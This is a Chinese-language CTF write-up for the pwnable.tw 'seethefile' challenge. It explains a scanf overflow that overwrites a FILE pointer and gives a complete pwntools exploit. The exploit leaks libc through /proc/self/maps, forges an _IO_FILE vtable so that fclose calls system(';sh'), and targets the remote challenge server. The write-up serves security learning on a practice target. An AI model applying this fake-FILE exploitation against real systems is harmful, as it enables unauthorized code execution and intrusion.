pwnable.tw 之 seethefile

题目链接

1 分析

1
2
3
4
5
6
7
8
9
$ file seethefile 
seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not stripped
$ checksec seethefile
[*] '/mnt/hgfs/vmshare-1604/seethefile/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 32位二进制可执行程序
  • 动态链接
  • got表可读可写
  • 栈不可执行,未开栈canary
  • 未随机化

程序一共实现了五个功能:

  • open:打开文件

  • read:读文件

  • write to screen:将读取的内容打印到屏幕

  • close:关闭文件

  • exit:退出

所有操作都是针对如下几个bss段的全局变量:

  • char filename[64]
  • char magicbuf[416]
  • name,占0x20个字节
  • FILE *fp

openfile读取字符串到filename[64]处,如果文件名不包含“flag”字符串就打开这个文件,并将文件描述符指针关联到bss段的FILE *fp。

readfile将打开文件的内容读取到magicbuf[416]。

write to screen将magicbuf[416]中的内容打印到屏幕上。(filename不能包含“flag”,内容中不能包含”FLAG”或”}”)

close将打开的文件关闭。

exit退出前会读取一段字符串到bss段的name处,然后判断fp是否为空,若不为空就fslose(fp)。如下代码:

1
2
3
4
5
6
7
8
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", &name);
printf("Thank you %s ,see you next time\n", &name);
if ( fp )
fclose(fp);
exit(0);
return;

漏洞点:name和fp相邻,name处在低地址,fp处在高地址。scanf未限制name输入的字符串大小,导致溢出覆盖fp指针。

触发代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding=utf-8

from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./seethefile')
#mylibc = ELF('./libc_32.so.6')
mylibc = ELF("/lib32/libc-2.23.so")
myproc = process(myelf.path)
#myproc = process(['./seethefile'], env={"LD_PRELOAD":"./libc_32.so.6"})
#myproc = remote('chall.pwnable.tw',10200)

def openfile(filename):
myproc.sendlineafter("Your choice :",'1')
myproc.sendlineafter("What do you want to see :",filename)

def readfile():
myproc.sendlineafter("Your choice :",'2')

def printfile():
myproc.sendlineafter("Your choice :",'3')

def closefile():
myproc.sendlineafter("Your choice :",'4')

def exit(name):
myproc.sendlineafter("Your choice :",'5')
myproc.sendlineafter("Leave your name :",name)

closefile()
gdb.attach(myproc)
exit('a'*50)
myproc.interactive()

执行以上出发代码,观察堆栈发现eax和esi都被输入的“a”字符给覆盖了。

1
2
3
4
5
6
7
8
9
10
$eax   : 0x61616161 ("aaaa"?)
$ebx : 0xf7f7a000 → 0x001afdb0
$ecx : 0xffffffff
$edx : 0xf7f7b870 → 0x00000000
$esp : 0xffe11f60 → 0xf7faa7eb → add esi, 0x15815
$ebp : 0xffe11f88 → 0xffe11fd8 → 0x00000000
$esi : 0x61616161 ("aaaa"?)
$edi : 0xf7f7a000 → 0x001afdb0
$eip : 0xf7e26ed7 → <fclose+23> cmp BYTE PTR [esi+0x46], 0x0
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86

2 利用

根据fclose的特性,参考了以下几篇文章:

pwnable.tw 9 seethefile

glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行

(1)_IO_FILE结构体大小为0x94

(2)flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)

(3)将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以’;’开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可

(4)vtable是个虚标指针,里面一般性是21or23个变量

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding=utf-8

from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./seethefile')
mylibc = ELF('./libc_32.so.6')
#mylibc = ELF("/lib32/libc-2.23.so")
#myproc = process(myelf.path)
#myproc = process(['./seethefile'], env={"LD_PRELOAD":"./libc_32.so.6"})
myproc = remote('chall.pwnable.tw',10200)

def openfile(filename):
myproc.sendlineafter("Your choice :",'1')
myproc.sendlineafter("What do you want to see :",filename)

def readfile():
myproc.sendlineafter("Your choice :",'2')

def printfile():
myproc.sendlineafter("Your choice :",'3')

def closefile():
myproc.sendlineafter("Your choice :",'4')

def exit(name):
myproc.sendlineafter("Your choice :",'5')
myproc.sendlineafter("Leave your name :",name)

#泄露libc
openfile("/proc/self/maps")
readfile()
printfile()
log.warn(myproc.recvline())
log.warn(myproc.recvline())
log.warn(myproc.recvline())
log.warn(myproc.recvline())
libc_addr = int(myproc.recv(8),16) + 0x1000
log.warn("libc_addr : 0x%x" % libc_addr)
sys_addr = libc_addr + mylibc.symbols['system']
log.warn("sys_addr: 0x%x" % sys_addr)
closefile()
#覆盖函数指针
openfile('/proc/self/maps')
FAKE_IO_FILE_addr = 0x0804b300
payload = "a"*32 + p32(FAKE_IO_FILE_addr)
payload += "\x00"*(0x80-4)
payload += "\xff\xff\xdf\xff;sh\x00".ljust(0x94,'\x00')
payload += p32(FAKE_IO_FILE_addr + 0x98)
payload += p32(sys_addr)*21
exit(payload)
#gdb.attach(myproc)
myproc.interactive()

其他解题思路:

seethefile 解题思路